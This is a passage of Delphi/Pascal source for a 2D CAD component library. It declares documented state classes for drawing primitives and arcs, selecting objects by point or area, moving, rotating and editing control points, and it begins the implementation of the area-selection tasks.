If you have assigned a state to the
<See Property=TCADPrgParam@AfterState> property, the
object is not added to the linked <See Class=TCADCmp>,
otherwise it will be added to it.
}
property Obj: TObject2D read fObject;
end;
{: This class defines the parameter used by
<See Class=TCAD2DDrawUnSizedPrimitive> to construct a 2D
primitive with a variable number of <I=control points>,
like a polyline.
If you assign a state to the
<See Property=TCADPrgParam@AfterState> property, the
object is not added to the linked <See Class=TCADCmp>,
otherwise it will be added to it.
}
TCAD2DDrawUnSizedPrimitiveParam = class(TCAD2DCommonParam)
private
fPrimObject: TPrimitive2D;
fCurrPoint: Word;
fOrtoIsUsable: Boolean;
protected
{: This method updates the on-screen informations during
the task.
The method draws the current primitive with the rubber
band (xor pen mode) mode. You will see your primitive
growing as new points are added to it.
}
procedure DrawOSD(Viewport: TCADViewport2D);
public
{: This method creates a new instance of the parameter.
Parameters:
<LI=<I=AfterS> may contains a <See Class=TCADState> class
reference. If it is assigned that state will be started
at the end of the current task. That state will receive
the current parameters. If <I=AfterS> is <B=nil>, the
<See Class=TCADPrg> will return to the default state.>
<LI=<I=Primitive> is the 2D primitive to be constructed.>
<LI=<I=StartPointIdx> is the first control points that
will be added. For instance if this parameter is equal to
3, when the user click on the viewport, the fourth control
point will be added.>
<LI=<I=OrtoIsU> indicate if the ortogonal constraint has
any means with this primitive. If it is <B=True>, the
orto constraint will be used, otherwise it will not used.>
}
constructor Create(AfterS: TCADStateClass; Primitive: TPrimitive2D; StartPointIdx: Integer; OrtoIsU: Boolean);
{: This property contains the primitive being constructed.
The object is deleted when the parameter is destroyed. If
you want to keep the instance, set the property to <B=nil>
before delete the parameter.
If you have assigned a state to the
<See Property=TCADPrgParam@AfterState> property, the
object is not added to the linked <See Class=TCADCmp>,
otherwise it will be added to it.
}
property Primitive: TPrimitive2D read fPrimObject;
{: This property indicates if the ortogonal constraint has
any means with the primitive being defined.
If it is <B=True>, the orto constraint will be used,
otherwise it will not used.
}
property OrtoIsUsable: Boolean read fOrtoIsUsable write fOrtoIsUsable;
end;
{: This class defines the parameter used by
<See Class=TCAD2DDrawSizedPrimitive> to construct a 2D
primitive with a fixed number of points, like an ellipse.
If you assign a state to the
<See Property=TCADPrgParam@AfterState> property, the
object is not added to the linked <See Class=TCADCmp>,
otherwise it will be added to it.
}
TCAD2DDrawSizedPrimitiveParam = class(TCAD2DDrawUnSizedPrimitiveParam)
private
fnPoints: Word;
public
{: This method creates a new instance of the parameter.
Parameters:
<LI=<I=AfterS> may contains a <See Class=TCADState> class
reference. If it is assigned that state will be started
at the end of the current task. That state will receive
the current parameters. If <I=AfterS> is <B=nil>, the
<See Class=TCADPrg> will return to the default state.>
<LI=<I=Primitive> is the 2D primitive to be constructed.>
<LI=<I=StartPointIdx> is the first control points that
will be added. For instance if this parameter is equal
to 3 when the user click on the viewport, the fourth
control point will be added.>
<LI=<I=OrtoIsU> indicate if the ortogonal constraint has
any meanse with this primitive. If it is <B=True>, the
orto constraint will be used, otherwise it will not used.>
}
constructor Create(AfterS: TCADStateClass; Primitive: TPrimitive2D; StartPointIdx: Integer; OrtoIsU: Boolean);
end;
{: This class implements the <I=object positioning task>.
This task may be used to add an object to the linked CAD
by firstly positioning it in the world.
The operation wait for the user to do the following
(in the order given here):
<LI=move the object to the desired position using the
mouse. You will see the object moving on the screen.>
<LI=press the left mouse button on that point to lay down
the object.>
The object will be moved using its bottom-left bounding box
corner as the base point. At the end of the task the object
is added to the CAD.
The operation understand the following user commands:
<LI=<I=CADPRG_CANCEL>. The task is aborted and the object
destroyed. The CADPrg returns in the default state.>
The operation needs an instance of the
<See Class=TCAD2DPositionObjectParam> class. The task may
be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DPositionObject = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class implements the <I=primitive constructing task>
for primitives with a fixed number of control points.
This task may be used to add an object to the linked CAD by
firstly defining its control points.
The operation waits for the user to do the following (in
the order given here):
<LI=move the mouse on the position for the first control
point of the primitive (if <I=StartPointIdx> of the
parameter is greater than zero the control point to be
positioned is not the first control point).>
<LI=press the left mouse button to set the control point on
that point.>
<LI=move the mouse on the desired position for the next
control points. Continue with the second step until no
control points are left.>
During the second and third steps you will see the object
on the screen.
At the end of the task the object is added to the CAD.
The operation understand the following user commands:
<LI=<I=CADPRG_ACCEPT>. The task is ended and the object
added to the CAD.>
<LI=<I=CADPRG_CANCEL>. The task is aborted and the object
destroyed. The CADPrg returns in the default state.>
The operation needs an instance of the
<See Class=TCAD2DDrawSizedPrimitiveParam> class. The task
can be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DDrawSizedPrimitive = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class implements the <I=primitive constructing task>
for primitives with a variable number of control points.
This task may be used to add an object to the linked CAD
by firstly defining its control points.
The operation wait for the user to do the following (in
the order given here):
<LI=move the mouse on the position for the first control
point of the primitive (if <I=StartPointIdx> of the parameter
is greater than zero the control point to be positioned is not
the first control point).>
<LI=press the left mouse button to set the control point on
that point.>
<LI=move the mouse on the desired position for the next
control points. Continue with the second.>
During the second and third steps you will see the object
on the screen.
At the end of the task the object is added to the CAD.
The operation understand the following user commands:
<LI=<I=CADPRG_ACCEPT>. The task is ended and the object
added to the CAD. Note that this is the only way to end
the task.>
<LI=<I=CADPRG_CANCEL>. The task is aborted and the object
destroyed. The CADPrg returns in the default state.>
The operation needs an instance of the
<See Class=TCAD2DDrawUnSizedPrimitiveParam> class. The task
can be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DDrawUnSizedPrimitive = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class defines the parameter used by the
<See Class=TCAD2DDrawArcPrimitive> task to construct a
2D arc segment.
If you assign a state to the
<See Property=TCADPrgParam@AfterState> property, the
object is not added to the linked <See Class=TCADCmp>,
otherwise it will be added to it.
}
TCAD2DDrawArcPrimitiveParam = class(TCAD2DCommonParam)
private
fArcObject: TArc2D;
fCurrPoint: Word;
public
{: This method creates a new instance of the parameter.
Parameters:
<LI=<I=AfterS> may contains a <See Class=TCADState> class
reference. If it is assigned that state will be started
at the end of the current task. That state will receive
the current parameters. If <I=AfterS> is <B=nil>, the
CADPrg will return to the default state. Note that in case
<I=AfterS> is not <B=nil>, the object will not be added to
the CAD.>
<LI=<I=Arc> contains the object to be constructed with
the <See Class=TCAD2DDrawArcPrimitive> task.>
}
constructor Create(AfterS: TCADStateClass; Arc: TArc2D);
{: This property contains the 2D arc that is being constructed.
The object is deleted when the parameter is destroyed. If
you want to keep the instance, set the property to <B=nil>
before delete the parameter.
}
property Arc: TArc2D read fArcObject;
end;
{: This class implements the <I=arc constructing task>.
This task may be used to add an arc to the linked CAD by
defining its control points.
The operation waits for the user to do the following (in
the order given here):
<LI=move the mouse on the desired position for the first
control point of the arc.>
<LI=press the left mouse button to set the first control
point on that point.>
<LI=move the mouse on the desired position for the second
control point. You will see an ellipse drawed on the
viewport.>
<LI=press the left mouse button to set the second control
point.>
<LI=move the mouse on the desired position for the third
control point. You will modify the starting angle of the
arc, and you will see the arc on the screen.>
<LI=press the left mouse button to set the third control
point.>
<LI=move the mouse on the desired position for the fourth
control point. You will modify the ending angle of the
arc, and you will see the arc on the screen.>
<LI=press the left mouse button to set the fourth control
point.>
At the end of the task the arc is added to the CAD.
The operation understand the following user commands:
<LI=<I=CADPRG_ACCEPT>. The task is ended and the object
added to the CAD.>
<LI=CADPRG_CANCEL>. The task is aborted and the object
destroyed. The CADPrgreturns in the default state.>
The operation needs an instance of the
<See Class=TCAD2DDrawArcPrimitiveParam> class. The task can
be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DDrawArcPrimitive = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This type is another name for <See Class=TCADPrgParam>.
}
TCAD2DSelectObjectsParam = class;
{: This type defines the prototype for an event handler used
to inform the application that an object was picked.
See <See Class=TCAD2DSelectObject>,
<See Class=TCAD2DSelectObjects> and
<See Class=TCAD2DSelectObjectsInArea> for details.
Parameters:
<LI=<I=Sender> contains the instance of
<See Class=TCAD2DSelectObjectsParam> (or
<See Class=TCAD2DSelectObjectsInAreaParam>) of the task
that had called the handler.>
<LI=<I=Obj> contains the picked object, or <B=nil> if the
selection task is <See Class=TCAD2DSelectObjectsInArea>.>
<LI=<I=CtrlPt> contains the control point on which the
mouse was picked. This is the same result of the
<See Method=TCADViewport2D@PickObject> method. This
parameter will be <I=PICK_NOOBJECT> in case the selection
task is <See Class=TCAD2DSelectObjectsInArea>.>
<LI=<I=Added> is <B=True> if Obj is added to the selected
object list, or <B=False> if it is removed.>
If a repaint event is raised, the handler is called for all
the picked objects. In this case the <I=CtrlPt> is
<I=PICK_NOOBJECT> and <I=Added> is <B=True> the selection
task that fired the event is
<See Class=TCAD2DSelectObjectsInArea>.
}
TSelection2DEvent = procedure(Sender: TCAD2DSelectObjectsParam; Obj: TObject2D; CtrlPt: Integer; Added: Boolean) of object;
{: This class defines the parameter used by
<See Class=TCAD2DSelectObject> and
<See Class=TCAD2DSelectObjects> to pick objects
interactively on the screen.
}
TCAD2DSelectObjectsParam = class(TCAD2DCommonParam)
private
fApertureSize: Word;
fEndIfNoObject, fEndWithMouseDown: Boolean;
fLastSelectedCtrlPoint: Integer;
fLastPt: TPoint2D;
fSelectedObjs: TGraphicObjList;
fOnSelected: TSelection2DEvent;
fSelectionFilter: TObject2DClass;
protected
{: This method draws the picking frame used to show the
aperture of the picking.
The frame is drawed in xor pen mode and centered at <I=Pt>.
Parameters:
<LI=<I=Viewport> is the viewport on which draw the frame.>
<LI=<I=Pt> is the point at which draw the frame.>
}
procedure DrawOSD(Viewport: TCADViewport2D; const Pt: TPoint2D); virtual;
public
{: This method creates a new instance of the parameter.
Parameters:
<LI=<I=ApertureSize> is the aperture used for the picking
in pixels.>
<LI=<I=AfterS> may contains a <See Class=TCADState> class
reference. If it is assigned that state will be started
at the end of the current task. That state will receive
the current parameters. If <I=AfterS> is <B=nil>, the
CADPrg will return to the default state.
}
constructor Create(ApertureSize: Word; const AfterS: TCADStateClass);
destructor Destroy; override;
{: This property is the list that contains the picked
objects.
If you want to traverse the list ask for an iterator and
remember to free it before to returns to the selection
task.
See also <See Class=TGraphicObjList>.
}
property SelectedObjects: TGraphicObjList read fSelectedObjs;
{: This property contains the control point selected of the
last picked object.
}
property LastSelectedCtrlPoint: Integer read fLastSelectedCtrlPoint;
{: This property may contain a class reference type (deriving
from <See Class=TObject2D>) used to filter the selection.
If the picked object doesn't derive from that class, the
object is ignored.
By default it is <I=TObject2D>.
}
property SelectionFilter: TObject2DClass read fSelectionFilter write fSelectionFilter;
{: This property specifies if the selection task must be ended
when the <I=mouse down> event is received.
If it is <I=True> the task is finished as soon as the
user press the mouse. Otherwise the task will finish when
the user release the mouse button.
By default it is <B=False>.
}
property EndSelectionWithMouseDown: Boolean read fEndWithMouseDown write fEndWithMouseDown;
{: This property specifies if the selection task must be
ended when the user has pressed the mouse button but
not object is under the mouse.
By default it is <B=False>.
<B=Note>: This property is meaningfull only with multiple
selection.
}
property EndSelectionIfNoObject: Boolean read fEndIfNoObject write fEndIfNoObject;
{: EVENTS}
{: This property may contains an event handler that will be
called when an object is picked (after it was added to the
list).
See Also <See Type=TSelection2DEvent>.
}
property OnObjectSelected: TSelection2DEvent read fOnSelected write fOnSelected;
end;
{: This class implements the <I=single object selection task>.
This task may be used to select an object of the linked CAD.
The operation wait for the user to do the following (in
the order given here):
<LI=move the picking selection frame (showed on the screen
as a small rectangle) on the object to be picked.>
<LI=press the left mouse button on that point to pick the
object.>
The object will be added to the
<See Property=TCAD2DSelectObjectsParam@SelectedObjects> list
of the task parameter. Normally you set <I=AfterS> of the
task parameter to a state that will process the selected
object by using the task parameter.
The operation understand the following user commands:
<LI=<I=CADPRG_CANCEL>. The task is aborted and the
parameter destroyed. The CADPrg returns in the default
state.>
The operation needs an instance of the
<See Class=TCAD2DSelectObjectsParam> class. The task can
be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DSelectObject = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class implements the <I=multiple object selection task>.
This task may be used to select a set of object of the
linked CAD.
The operation waits for the user to do the following (in
the order given here):
<LI=move the picking selection frame (showed on the screen
as a small rectangle) on the object to be picked.>
<LI=press the left mouse button on that point to pick the
object. If the object was already picked, it is removed
from <See Property=TCAD2DSelectObjectsParam@SelectedObjects>
list of the task parameter, otherwise it will be added.>
<LI=continue with the first step.>
Normally you set <I=AfterS> of the task parameter to a
state that will process the selected objects by using the
passed parameter.
Note that no visual feedback is given to the user. If you
want to show the selected objects, you can use the
<See Property=TCAD2DSelectObjectsParam@OnObjectSelected>
handler of the task parameter.
The operation understand the following user commands:
<LI=<I=CADPRG_CANCEL>. The task is aborted and the
parameter destroyed. The CADPrg returns in the default
state.>
<LI=<I=CADPRG_ACCEPT>. The task is ended. The CADPrg
returns in the default state or in the state specified by
<I=AfterS>. Note that this is the only way to finish the
task.>
The operation needs an instance of the
<See Class=TCAD2DSelectObjectsParam>. The task can be
suspended.
See also <See Class=TCADPrg>.
}
TCAD2DSelectObjects = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class defines a special kind of selection task that
is the combination of the
<See Class=TCAD2DSelectObject> and
<See Class=TCAD2DSelectObjects> tasks.
If the user holds down the Shift key, the task behaves
like the <I=TCAD2DSelectObjects> task, otherwise it
behaves like the <I=TCAD2DSelectObject> task.
See also <See Class=TCADPrg>.
}
TCAD2DExtendedSelectObjects = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class defines the parameter used by
<See Class=TCAD2DSelectObjectsInArea> task to select the
objects contained in the specified window area.
}
TCAD2DSelectObjectsInAreaParam = class(TCAD2DSelectObjectsParam)
private
fAreaMode: TGroupMode;
fArea: TRect2D;
public
{: This method creates a new instance of the parameter.
Parameters:
<LI=<I=AreaMode> specify the type of selection. If it is
<I=gmAllInside> only the objects fully contained in the
area are selected; if it is <I=gmCrossFrame> all the
objects that are contained or cross the area are selected.>
<LI=<I=AfterS> may contains a <See Class=TCADState> class
reference. If it is assigned that state will be started
at the end of the current task. That state will receive
the current parameters. If <I=AfterS> is nil, the
CADPrg will return to the default state.>
}
constructor Create(AreaMode: TGroupMode; const AfterS: TCADStateClass);
end;
{: This class implements <I=the 'area selection task>.
This task may be used to select a set of object of
the linked CAD by specify a rectangle frame.
The operation wait for the user to do the following (in
the order given here):
<LI=move the mouse on the first corner of the area.>
<LI=press the left mouse button to accept the point.>
<LI=move the mouse on the second corner of the area. You
will see the area being defined on the screen.>
<LI=press the left mouse button to accept the point.>
All the objects in the area are selected and stored in the
<See Property=TCAD2DSelectObjectsParam@SelectedObjects>
list of the task parameter.
Normally you set <I=AfterS> of the task parameter to a
state that will process the selected objects by using the
passed parameter.
The operation understand the following user commands:
<LI=<I=CADPRG_CANCEL>. The task is aborted and the
parameter destroyed. The CADPrg returns in the default
state.>
The operation needs an instance of the
<See Class=TCAD2DSelectObjectsInAreaParam> class. The task
can be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DSelectObjectsInArea = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
procedure OnStop; override;
end;
{: This class defines the parameter used by the
<I=object transformation task>.
All the transformations of objects that may be described
by a matrix transform that accept as parametesr a base
point and a moving point can be modelled by this task.
You only need to derive from this parameter and
redefine the
<See Method=TCAD2DTransformObjectsParam@GetTransform> method.
Then you can pass the new parameter to
<See Class=TCAD2DTransformObjects> task.
}
TCAD2DTransformObjectsParam = class(TCAD2DCommonParam)
private
fBasePt: TPoint2D;
fNPoint: Integer;
fBox: TRect2D;
fObjs: TGraphicObjList;
fUseFrame: Boolean;
fCurrTransf: TTransf2D;
procedure TransformObjs(CurrPt: TPoint2D; UseOrto: Boolean);
procedure ConfirmTransform;
procedure CancelTransform;
protected
{: This method draws the bounding box of the set of objects
to be transformed.
It is used by the <See Method=TCAD2DTransformObjectsParam@DrawOSD>
method.
Parameters:
<LI=<I=Viewport> is the viewport of which draw the
information.>
}
procedure DrawWithFrame(Viewport: TCADViewport2D); dynamic;
{: This method draws the objects to be transformed in
rubber band mode (xor pen mode).
It is used by the <See Method=TCAD2DTransformObjectsParam@DrawOSD>
method.
Parameters:
<LI=<I=Viewport> is the viewport of which draw the
information.>
}
procedure DrawWithoutFrame(Viewport: TCADViewport2D); dynamic;
{: This is the key method of the class.
It must return the matrix transform that define the
transformation of the objects. The returned matrix will
override the current model transform for the selected
objects.
This method must be redefined in the derived classes
for specific transformations.
Parameters:
<LI=<I=BasePt> is the base point for the transformation.
For example to rotate an object you must give the center
of rotation; to move an object you must give the first
point of the translation.>
<LI=<I=CurrPt> is the current point of the mouse. You
may use this point to define the current transformation.
For example to rotate an object you must give a second
point, so you are able to find the angle of rotation
with respect to the <I=BasePt>; to move an object this
point is the second point of the translation.>
}
function GetTransform(BasePt, CurrPt: TPoint2D): TTransf2D; virtual; abstract;
{: This method draws the on screen informations that informs
the user of the result of the transformation.
There are two modes of visualization:
<LI=If <See Property=TCAD2DTransformObjectsParam@UseFrame>
is <B=True> only the bounding box of the objects is showed>
<LI=If <See Property=TCAD2DTransformObjectsParam@UseFrame>
is <B=False> the transformed objects are showed in xor
pen mode>
Parameters:
<LI=<I=Viewport> is the viewport of which draw the
information.>
}
procedure DrawOSD(Viewport: TCADViewport2D);
{: This property contains the base point for the
transformation.
}
property BasePoint: TPoint2D read fBasePt;
public
{: This method creates a new instance of the parameter.
Parameters:
<LI=<I=Objs> is a list that contains the objects to be
transformed. The list must have the
<See Property=TGraphicObjList@FreeOnClear> property set
to <B=False>.>
<LI=<I=AfterS> may contains a <See Class=TCADState> class
reference. If it is assigned that state will be started
at the end of the current task. That state will receive
the current parameters. If <I=AfterS> is <B=nil>, the
CADPrg will return to the default state.>
}
constructor Create(Objs: TGraphicObjList; const AfterS: TCADStateClass);
destructor Destroy; override;
{: This property contains the list of the objects to be
transformed.
}
property Objects: TGraphicObjList read fObjs;
{: This property selects the visualization mode for the on
screen informations:
<LI=If <See Property=TCAD2DTransformObjectsParam@UseFrame>
is <B=True> only the bounding box of the objects is showed>
<LI=If <See Property=TCAD2DTransformObjectsParam@UseFrame>
is <B=False> the transformed objects are showed in xor
pen mode>
When the parameter is constructed, this property is set
to <B=False> if the passed list of objects has only one
object, it is set to <B=True> otherwise.>
}
property UseFrame: Boolean read fUseFrame write fUseFrame;
end;
{: This class defines the method
<See Method=TCAD2DTransformObjectsParam@GetTransform> for
the <I=move object task>.
}
TCAD2DMoveObjectsParam = class(TCAD2DTransformObjectsParam)
protected
function GetTransform(BasePt, CurrPt: TPoint2D): TTransf2D; override;
end;
{: This class defines the method
<See Method=TCAD2DTransformObjectsParam@GetTransform> for
the <I=rotate object task>.
}
TCAD2DRotateObjectsParam = class(TCAD2DTransformObjectsParam)
protected
function GetTransform(BasePt, CurrPt: TPoint2D): TTransf2D; override;
end;
{: This class implements the <I=transform objects task>.
This task may be used to apply a transformation to a set
of objects by specifing the appropriate parameter (see below).
The operation waits for the user to do the following (in
the order given here):
<LI=move the mouse on the base point for the transformation.>
<LI=press the left mouse button to accept the base point.>
<LI=move the mouse on the second point. You will see the
object transformed on the screen.>
<LI=press the left mouse button to accept the current
transformation.>
The operation understands the following user commands:
<LI=<I=CADPRG_ACCEPT>. The task is ended and the
transformation is accepted.>
<LI=<I=CADPRG_CANCEL>. The task is aborted and the
parameter destroyed. The CADPrg returns in the default
state.>
The operation needs an instance of a class derived from
<See Class=TCAD2DTransformObjectsParam>. The task can be
suspended.
See also <See Class=TCADPrg>.
}
TCAD2DTransformObjects = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class implements the <I=move a selection task>.
This task may be used to select and move a set of objects
by specifing the start point and end point of the
translation.
The operation waits for the user to do the following (in
the order given here):
<LI=move the mouse on the base point for the translation.>
<LI=press the left mouse button to accept the base point.>
<LI=move the mouse on the second point. You will see the
objects moving on the screen.>
<LI=press the left mouse button to accept the tranformation.>
The operation understands the following user commands:
<LI=<I=CADPRG_ACCEPT>. The task is ended and the
transformation is accepted.>
<LI=<I=CADPRG_CANCEL>. The task is aborted and the
parameter destroyed. The CADPrg returns in the default
state.>
The operation needs an instance of the
<See Class=TCAD2DMoveObjectsParam> class.
The task can be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DMoveSelectedObjects = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
end;
{: This class implements the <I=rotate a selection task>.
This task may be used to select and rotate a set of
objects by specifing the center of rotation and the angle
of rotation.
The operation waits for the user to do the following (in
the order given here):
<LI=move the mouse on the center of rotation.>
<LI=press the left mouse button to accept the center of
rotation.>
<LI=move the mouse on the second point. You will see the
objects rotating on the screen.>
<LI=press the left mouse button to accept the tranformation.>
The operation understands the following user commands:
<LI=<I=CADPRG_ACCEPT>. The task is ended and the
transformation is accepted.>
<LI=<I=CADPRG_CANCEL>. The task is aborted and the
parameter destroyed. The CADPrg returns in the default
state.>
The operation needs an instance of the
<See Class=TCAD2DMoveObjectsParam> class.
The task can be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DRotateSelectedObjects = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
end;
{: This class implements the <I=edit primitive task>.
This task may be used to move the control points of a
<See Class=TPrimitive2D> interactively on the screen.
The operation waits for the user to do the following (in
the order given here):
<LI=move the mouse on one control point of the primitive.
The primitive is showed in with the rubber pen of
<See Class=TCADViewport>.>
<LI=press and hold the left mouse button to pick the
control point.>
<LI=move the mouse to move the control point. You will see
the primitive changing its shape.>
<LI=release the left mouse button to accept the new
position of the control point.>
<LI=continue from the first step.>
The operation understands the following user commands:
<LI=<I=CADPRG_ACCEPT>. The task is ended and accept the
new setting for the control point.>
<LI=CADPRG_CANCEL>. The task is aborted and the parameter
destroyed. The CADPrg returns in the default state.>
The operation needs an instance of the of the primitive
incapsulated into the <See Property=TCADPrgParam@UserObject>
property of a <See Class=TCADPrgParam> instance.
The task can be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DEditPrimitive = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class implements the <I=select and edit primitive task>.
This task may be used to select a primitive and move its
control points interactively on the screen.
The operation waits for the user to do the following (in
the order given here):
<LI=move the picking selection frame (showed on the screen
as a small rectangle) on the object to be picked.>
<LI=press the left mouse button on that point to pick the
object.>
<LI=move the mouse on one control point of the primitive.
The primitive is showed in with the rubber pen of
<See Class=TCADViewport>.>
<LI=press and hold the left mouse button to pick the
control point.>
<LI=move the mouse to move the control point. You will see
the primitive changing its shape.>
<LI=release the left mouse button to accept the
new position of the control point.>
<LI=continue from the third step.>
The operation understands the following user commands:
<LI=<I=CADPRG_ACCEPT>. The task is ended and accept the
new setting for the control point.>
<LI=<I=CADPRG_CANCEL>. The task is aborted and the
parameter destroyed. The CADPrg returns in the default
state.>
The operation needs an instance of
<See Class=TCAD2DSelectObjectsParam>.
The task can be suspended.
See also <See Class=TCADPrg>.
}
TCAD2DEditSelectedPrimitive = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
end;
// StellaSOFT kiegészítések
function GetListOfLayer(var CADcmp: TCADCmp2D; LayerID: integer):TStringList;
function FindText(var CADcmp: TCADCmp2D; SearchText: string; LayerID: integer):TGraphicObject;
function GetSourceBockNames(var CADcmp: TCADCmp2D):TStringlist;
procedure ObjToViewCent(CADcmp: TCADCmp2D; CADPrg: TCADPrg; ID: integer);
procedure MoveToCent(CADViewPort: TCADViewPort2D; WX, WY : real);
implementation
uses Math;
type
// -----===== Starting Cs4CADPrgTasks.pas =====-----
TCADPrgEndZoomArea = class(TCADPrgZoomState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
end;
TCADPrgDragPan = class(TCADPrgZoomState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
TCADPrgDragSelectArea = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
// -----===== Starting Cs4CADPrgTasks2D.pas =====-----
TCAD2DEditPrimitiveParam = class(TCAD2DCommonParam)
private
fCurrentPrimitive, fOriginalPrimitive: TPrimitive2D;
fCurrentCtrlPt: Integer;
fApertureSize: Word;
fLastPt: TPoint2D;
public
constructor Create(Prim: TPrimitive2D; ApertureSize: Word);
destructor Destroy; override;
procedure SetCtrlPoint(Viewport: TCADViewport2D; Pt: TPoint2D);
procedure AddCtrlPoint(Viewport: TCADViewport2D; Pt: TPoint2D);
procedure UnSetCtrlPoint;
procedure AcceptEdited;
procedure MoveCtrlPoint(Viewport: TCADViewport2D; Pt: TPoint2D);
procedure DrawOSD(Viewport: TCADViewport2D; Pt: TPoint2D; FirstTime: Boolean);
procedure DrawModifiedPrim(Viewport: TCADViewport2D);
property CurrentCtrlPt: Integer read fCurrentCtrlPt;
end;
// -----===== Starting Cs4CADPrgTasks.pas =====-----
{ -------------- TCADPrgSelectAreaParam -------------- }
constructor TCADPrgSelectAreaParam.Create(AfterS: TCADStateClass; CallerParam: TCADPrgParam);
begin
inherited Create(AfterS);
fFrame := TFrame2D.Create(0, Point2D(0, 0), Point2D(0, 0));
fCallerParam := CallerParam;
end;
destructor TCADPrgSelectAreaParam.Destroy;
begin
fFrame.Free;
inherited Destroy;
end;
function TCADPrgSelectAreaParam.GetArea: TRect2D;
var
Pt: TPoint2D;
begin
Pt := fFrame.Box.FirstEdge;
Result := fFrame.Box;
end;
{ ******************* Useful states *********************** }
{ ------------------ Select Area --------------------- }
constructor TCADPrgSelectArea.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
Description := 'Select the first point of the area.'
end;
{ Need TCADPrgSelectAreaParam. }
function TCADPrgSelectArea.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton;
Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint: TPoint2D;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with Param as TCADPrgSelectAreaParam, CADPrg do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
Param.Free;
Param := nil;
NextState := CADPrg.DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then
begin
CurrPoint := CurrentViewportPoint;
fFrame.Points[0] := CurrPoint;
fFrame.Points[1] := CurrPoint;
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(fFrame, False);
NextState := TCADPrgDragSelectArea;
Result := True;
end;
end;
end;
procedure TCADPrgSelectArea.OnStop;
begin
Param.Free;
Param := nil;
end;
constructor TCADPrgDragSelectArea.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
Description := 'Select the second point of the area.'
end;
